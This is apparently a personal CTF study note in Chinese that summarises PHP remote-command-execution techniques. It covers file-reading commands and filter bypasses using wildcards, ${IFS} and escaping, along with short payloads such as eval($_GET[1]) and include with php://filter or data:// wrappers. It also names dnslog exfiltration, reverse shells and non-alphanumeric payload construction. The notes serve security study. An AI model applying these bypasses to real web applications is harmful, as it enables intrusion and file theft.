Lazy loaded image
php总结
00 分钟
2025-1-15
2025-2-23
type
status
date
slug
summary
tags
category
icon
password

一.常见命令与执行函数

1.查看目录

ls
scandir() 配合print_r,var_dump,var_export等使用
利用glob伪协议

2.查看文件内容

cat、tac、head、tail、less、more、nl、paste、rev、uniq、grep、sort、od、awk、base64、file -f、bash -v flag、 curl file:///path/to/flag.php、vim、vi

3.命令执行函数

4.无参数常用函数

  • var_dump()var_export():用于输出变量的相关信息
  • scandir():返回当前目录中所有的文件和目录,结果是一个数组
  • current()pos():返回当前数组中的值(默认第一个)
  • localeconv():返回本地数字及货币信息的数组(该数组的第一项是.,可以与scandir配合使用)
  • getallheaders():获取所有请求头信息,并返回键值对
  • strrev():返回反转后的字符串
  • eval()assert():代码执行
  • system()passthru():命令执行
  • highlight_file()show_source()read_file()readgzfile:读取文件内容
  • getenv():获取环境变量(php7.1版本以上)
  • get_defined_vars():返回由已定义变量所组成的多维数组

数组操作

  • end():内部指针指向数组中最后一个元素并输出
  • next():指向下一个元素并输出
  • prev():指向上一个元素并输出
  • reset():指向数组中第一个元素并输出
  • each():返回当前元素的键名和键值,并将内部指针向前移动
  • array_rand():随机返回一个键名
  • array_flip():交换数组中的键与值,返回交换后的数组
  • array_reverse():以相反的顺序返回数组内容
  • array_shift():删除数组中的第一个元素并返回被删除的值
  • array_pop():删除数组中的最后一个元素并返回被删除的值
  • implode():用于将数组转化为字符串,让echoprintf得以输出结果

目录操作

  • getcwd():获取当前工作目录
  • chdir():改变当前的目录
  • dirname():对路径作操作,返回去掉文件名后的目录名(如/test/index.php返回/test

二.绕过方式

1.关键字

通配:? * fla? 利用命令在/usr/bin目录 /???/???/????64 fla*
转义:\ ca\t fla\g "" '' ca""t fl''g
正则匹配:cat f[k-m]ag
内联:cat `ls` cat $(ls)
利用$* ${*} ca${1}t flag ca$1t flag
命令拼接:

2.空格绕过

<>,${IFS},$IFS$*,%09(tab),%0b,%0c,<,%0a,{}({cat,flag})

3.分号绕过

?> || && &(%26) %0a %0d %0D %0A
网上说还能利用if与while语句,没试出来
if(passthru("tac%09fla*")){}

4.具有写入权限时

通过cp mv 复制移动flag文件直接访问 cp flag.php 1.txt
cat flag.php > flag.txt
压缩后访问下载
zip flag.zip flag.php
tar cvf flag.tar flag.php tar zcvf flag.tar.gz flag.php
写入命令到文件,访问后执行 ls>1.txt ls | tee 1.txt 或者直接写一句话木马,访问后执行命令

5.命令拼接

a=c;b=at;c=f;d=lag;$a$b ${c}${d}

6.参数逃逸

eval($_GET[1]);&1=cat flag
利用文件包含与伪协议
include$_GET[1];&1=php://filter/convert.base64-encode/resource=
ruquire$_GET[1];&1=php://filter/convert.base64-encode/resource=
include$_GET[1]?>&1=data://text/plain,<?php system('tac flag.php');?>

7.利用环境路径等绕过

PATH:/bin
${USER}:www-data
HOME:/
PWD:/var/www/html
数字
PHP_VERSION:可通过浏览器插件wappalyzer查看
例如:版本为7.3.22 ${PHP_VERSION:~A}等价于2
-1:~A(任意字母)
1:${#SHLVL}${##}${#?}
3:${#IFS}
${#RANDOM}随机返回,多数为4或5,5的概率大(${RANDOM}完全随机)
$?表示上一条命令执行结束后的传回值,成功:0,失败:1 例如:使用<A等可让其返回1,<A;${HOME::$?}等价于/

8.无回显

1、写入文件。见上
2、dnslog外带 (有长度限制)
利用
3、http信道
1.利用 burp 的Collaborator Client
2.利用https://requestrepo.com/#/ 有长度限制
4、反弹shell bash反弹 5、反弹shell 利用平台

9.无参

利用上面提供的常用函数构造

1.get_defined_vars()返回变量

假如说原本只有一个参数a,那么可以多加一个参数b,后面写入恶意语句,payload:

2.session_id()

1.执行命令
将命令进行hex编码然后写入cookie
2.读取文件

3.getallheaders()&apache_request_headers()

局限于apache环境
notion image
sky是自己添加的请求头, end()指向最后一行的sky后的代码,达到phpinfo的目的,然后可以进一步去rce。

10.无数字字母

1.取反:~

取反构造脚本:

2.异或:^

字典生成:
异或构造脚本:

3.或:|

字典生成:

或构造脚本:

4.自增:

利用数组转字符串得到 Array,切片自增得到任意大小写字母,还可利用
一些示例
注意url编码
参考文章
 
 
上一篇
学习日记-7
下一篇
学习日记-1(命令执行篇)

评论
Loading...